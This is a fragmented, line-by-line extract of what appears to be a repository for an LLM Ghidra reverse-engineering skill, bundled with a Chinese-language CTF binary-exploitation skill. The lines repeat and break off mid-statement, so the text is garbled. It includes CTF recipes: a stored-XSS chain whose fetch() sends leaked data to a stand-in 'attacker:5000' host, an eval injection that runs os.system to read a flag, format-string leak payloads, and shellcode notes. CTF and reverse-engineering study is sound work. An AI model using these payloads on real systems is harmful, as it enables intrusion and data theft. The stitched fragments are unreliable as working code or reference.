Cristallin2006/ghidra-skill-for-dsh

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def exec(self, *args: str, timeout: int = 300) -> tuple[int, str]:

#!/usr/bin/env python

ANDROID_NS = "{http://schemas.android.com/apk/res/android}"

#!/usr/bin/env python

#!/usr/bin/env python

f.write(base64.b64decode(FIXTURE_CLASS_B64))

#!/usr/bin/env python

- **Upstream**: https://github.com/cellebrite-labs/ghidra-rpc (Cellebrite Labs)

An agentic skill that gives an LLM access to [Ghidra](https://ghidra-sre.org/) so

Developed at **[Cellebrite Labs](https://github.com/cellebrite-labs)**.

The daemon runs Ghidra in-process via [PyGhidra](https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/PyGhidra).

[PyGhidra](https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/PyGhidra).

1. **Ghidra** (11.0+): Download from [ghidra-sre.org](https://ghidra-sre.org/), unzip somewhere.

2. **Python 3.11+**: Check with `python3 --version`. 3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`. 4. **Java 17+**: Required by Ghidra. Check with `java --version`.

3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`.

3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`.

The original design was based on [pyghidra-mcp](https://github.com/clearbluejar/pyghidra-mcp).

rm /tmp/ghidra-rpc-XXXXXXXX.sock

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transaction then rolls back the whole intertwined group on the next         flush (confirmed as intended Ghidra behavior, not a bug; see         https://github.com/NationalSecurityAgency/ghidra/issues/9347).

flush (confirmed as intended Ghidra behavior, not a bug; see         https://github.com/NationalSecurityAgency/ghidra/issues/9347).         Becoming our own consumer and releasing the project's makes our

https://github.com/NationalSecurityAgency/ghidra/issues/9347).

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exec(compile(src, code_file, "exec"), namespace)

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rm = pi.program.getReferenceManager()

rm = pi.program.getReferenceManager()

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if not _IS_WINDOWS:         server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if not _IS_WINDOWS:         client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

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#!/usr/bin/env python

state["entry_unmapped"] = True         elif in_mapped(uc_.reg_read(reg_pc)):             state["stop"] = "invalid-fetch (0x%x 未映射)" % address

elif in_mapped(uc_.reg_read(reg_pc)):             state["stop"] = "invalid-fetch (0x%x 未映射)" % address         else:

state["stop"] = "invalid-fetch (0x%x 未映射)" % address

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exec(compile(src, code_path, "exec"), namespace)

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def fetch(binary: str, addr: str, length: int) -> bytes:

else int(addr_text, 16)     length = int(args[2], 0)     data = fetch(binary, addr_text, length)

length = int(args[2], 0)     data = fetch(binary, addr_text, length)     actual_hex = data.hex()

data = fetch(binary, addr_text, length)

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#!/usr/bin/env python3

#!/usr/bin/env python

(b"\x55\x48\x89\xe5", "x86-64 序言 55 48 89 e5"),

dec = base64.b64decode(ct.translate(str.maketrans(TABLE, STD)))

--- name: pwn-exploit description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和

name: pwn-exploit description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc 

description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc 地址/冒险游戏菜单题。不做:程序逻辑

whenToUse: 漏洞已定位(或题目明显是 pwn 配置:binary+libc+nc 地址)需要写 exp 拿 flag/shell 时;checksec 决策、ROP 链构造、libc 泄露、堆风水、seccomp ORW、内核提权入门

前置:漏洞已由 vuln-audit/ghidra-static 定位,或附件是典型 pwn 配置(binary + libc.so.6 + nc 地址)/后继:拿到远程 flag 回显 → `ledger.py conclude --program-accept` 交付;「打不通、其实是程序没读懂」→ 回 ghidra-static;「洞在哪都还没确认」→ 回 vuln-audit

知识来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills)(MIT);`basic-chain.md` 组织结构参考 zhaoxuya520/reverse-skill(MIT)。翻译层在路由表,references 正文保留英文原文。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

1. **Stored XSS via Flask `|safe`:** User messages rendered with `{{ msg.content | safe }}` bypass Jinja autoescaping. Submit `<script type="module">...</script>` via the public message endpoint 2. **Admin bot visits `/admin/messages`** fro

3. **Multi-stage payloads:** Each XSS stage calls admin API endpoints via `fetch()`, exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:

// Stage 1: trigger heap commands, exfiltrate leak    var res = await fetch("/api/canvas/get/1");

var res = await fetch("/api/canvas/get/1");

var data = await res.json();    await fetch('http://attacker:5000/', {        method: 'POST', mode: 'no-cors',

await fetch('http://attacker:5000/', {

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

**Pattern (inheritance):** A service reads a secret into a file descriptor created with `memfd_create("secret", 0)` (without `MFD_CLOEXEC`), then calls `system()` to execute user-supplied commands. The `system()` function spawns a child pro

**Key insight:** `memfd_create()` without `MFD_CLOEXEC` (or `open()` without `O_CLOEXEC`) leaves file descriptors inheritable across `fork()+exec()`. Any service that reads secrets into FDs and then spawns child processes is vulnerable. The

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

def measure_time(host, port, guess):     """Send guess and measure server response time"""     s = socket.socket()

"""Send guess and measure server response time"""     s = socket.socket()     s.connect((host, port))

s = socket.socket()

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

**5. Cross-reference libc database:** - https://libc.rip/

- https://libc.rip/

# Must leak libc AND redirect exit() in one printf call # Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr

# Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr

# Leak canary at offset 6, PIE base at offset 7 r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})

r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'})

fmtstr = b"%9x%11$n" + b"\x20\x20\x60\x00\x00\x00\x00\x00"

> 判例来源:2025 强网杯 **adventure**(文字冒险游戏 ELF/C++,商店整数溢出 → 杀龙拿魔戒 → 魔戒描述指针覆写 → 任意读写 → seccomp 白名单 ORW)。 > WP:[cnblogs.com/trunk/p/19190796](https://www.cnblogs.com/trunk/p/19190796);失败 session 复盘:b781ff3c(38 min 零 exploit,两个半边事实未接线)。

> WP:[cnblogs.com/trunk/p/19190796](https://www.cnblogs.com/trunk/p/19190796);失败 session 复盘:b781ff3c(38 min 零 exploit,两个半边事实未接线)。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

# Trigger: echo -ne '\xff\xff\xff\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

echo 'chmod 777 /tmp/output' >> /tmp/evil.sh

echo -ne '\xff\xff\xff\xff' > /tmp/trigger

echo -ne '\xff\xff\xff\xff' > /tmp/nirugiri && chmod +x /tmp/nirugiri && /tmp/nirugiri

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

magic = b'\x00\x01\x02\x03'

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

# Keep the process alive after the shell spawns by piping stdin: # (python -c "..."; cat) | nc pwn.tamuctf.com 4325

# (python -c "..."; cat) | nc pwn.tamuctf.com 4325

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

# Output: "Laundry complete\x50\x5e\x2c\x7e\x56\x7f\n"

**Pattern (easy-shell):** RWX page receives attacker shellcode but every byte must be alphanumeric (`[0-9A-Za-z]`). Tools like [basic-amd64-alphanumeric-shellcode-encoder](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-enc

> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。

**Pattern:** Custom CPU emulator's print function uses `eval('"' + string_buffer + '"')` to process escape sequences in the output. Build a string in emulator memory character-by-character using ADD opcodes, then inject: `"+__import__("os")

2. The PRINT opcode reads a string from emulator memory and passes it to `eval('"' + s + '"')` to handle escape sequences like `\n`, `\t`

# Trigger PRINT opcode -> eval('"' + injection + '"')

# eval becomes: eval('""+__import__("os").system("cat /flag")#"')

**Key insight:** When an emulator or interpreter uses `eval()` to process string output (e.g., for escape sequences), inject a quote to close the string literal, then chain arbitrary Python code. The `#` comment character truncates any trai

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

#!/usr/bin/env python3

# atob("...") 字面量同理：base64.b64decode

var localStorage = { _d:{}, getItem(k){return this._d[k]??null},                      setItem(k,v){this._d[k]=String(v)}, removeItem(k){delete this._d[k]} }; var location = { href: "https://target.example/page", host: "target.example", prot

setItem(k,v){this._d[k]=String(v)}, removeItem(k){delete this._d[k]} }; var location = { href: "https://target.example/page", host: "target.example", protocol: "https:" }; var screen = { width: 1920, height: 1080, colorDepth: 24 };

var location = { href: "https://target.example/page", host: "target.example", protocol: "https:" };

#!/usr/bin/env python

#!/usr/bin/env python

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exec(WORKER)

#!/usr/bin/env python

b"\x28\xb5\x2f\xfd":"zstd", b"\x27\x05\x19\x56":"uImage"}

- 这两个包没有 `__main__`，**不能 `python -m`**，必须走 venv 的 console script（上表路径）。 - `-o` 语义坑：decompyle3 要求 `-o` 目标目录**已存在**，先 `mkdir -p out_dir`。 - pycdc 输出到 stdout，自行重定向存盘；未装时在线 https://pylingual.io 可临时兜底（注意样本敏感性，涉毒不上传）。

- `-o` 语义坑：decompyle3 要求 `-o` 目标目录**已存在**，先 `mkdir -p out_dir`。 - pycdc 输出到 stdout，自行重定向存盘；未装时在线 https://pylingual.io 可临时兜底（注意样本敏感性，涉毒不上传）。 - pycdc 对 3.11/3.12 新语法可能**静默丢语句**（控制流缺一块而无报错）——拿到结果先扫是否逻辑完整，残缺即按铁律 11 用 dis 直读对照（§4）。

- pycdc 输出到 stdout，自行重定向存盘；未装时在线 https://pylingual.io 可临时兜底（注意样本敏感性，涉毒不上传）。

| PyInstaller（打包而非壳） | `MEI\x0c\x0b\x0a\x0b\x0e` cookie、PYZ 归档 | `python "$RUP/pyinstaller_extract.py" <sample>`（识别版本 → pyinstxtractor 解包 → 按 pyc magic 自动选 uncompyle6/decompyle3/pycdc）；`--check` 只分诊 |

#!/usr/bin/env python

PYINST_MAGIC = b"MEI\x0c\x0b\x0a\x0b\x0e"

rec["hint"] = ("pycdc 未安装：Windows 侧放 ~/Desktop/src/tools/pycdc/pycdc.exe，"                            "或 WSL 源码构建 Decompyle++（cmake+g++，本脚本自动探测）；"                            "也可在线 https://pylingual.io 兜底")

"或 WSL 源码构建 Decompyle++（cmake+g++，本脚本自动探测）；"                            "也可在线 https://pylingual.io 兜底")     return rec

"也可在线 https://pylingual.io 兜底")

#!/usr/bin/env python

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encoded = ''.join(b64[p.flags & 0x3F] ...); base64.b64decode(encoded)

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#!/usr/bin/env python

k = eval(key_expr, eval_namespace(p))  # noqa: S307 - 受限名字空间

return eval(key_expr, eval_namespace(p))  # noqa: S307 - 受限名字空间

#!/usr/bin/env python

#!/usr/bin/env python

(b"\x89PNG\r\n\x1a\n", "PNG"), (b"PK\x03\x04", "ZIP"), (b"7z\xbc\xaf\x27\x1c", "7z"),

#!/usr/bin/env python

#!/usr/bin/env python

#!/usr/bin/env python

b"\xd4\xc3\xb2\xa1": ("<", 1_000_000),      # LE, us

b"\xa1\xb2\xc3\xd4": (">", 1_000_000),      # BE, us

b"\x4d\x3c\xb2\xa1": ("<", 1_000_000_000),  # LE, ns

b"\xa1\xb2\x3c\x4d": (">", 1_000_000_000),  # BE, ns

PCAPNG_MAGIC = b"\x0a\x0d\x0d\x0a"

if b"\xaa\xaa\x03\x00\x00\x00\x88\x8e" in pkt:  # LLC SNAP EAPOL 启发式

#!/usr/bin/env python

b"\xd4\xc3\xb2\xa1": ("<", 1_000_000), b"\xa1\xb2\xc3\xd4": (">", 1_000_000),

b"\x4d\x3c\xb2\xa1": ("<", 1_000_000_000), b"\xa1\xb2\x3c\x4d": (">", 1_000_000_000),

if data[:4] == b"\x0a\x0d\x0d\x0a":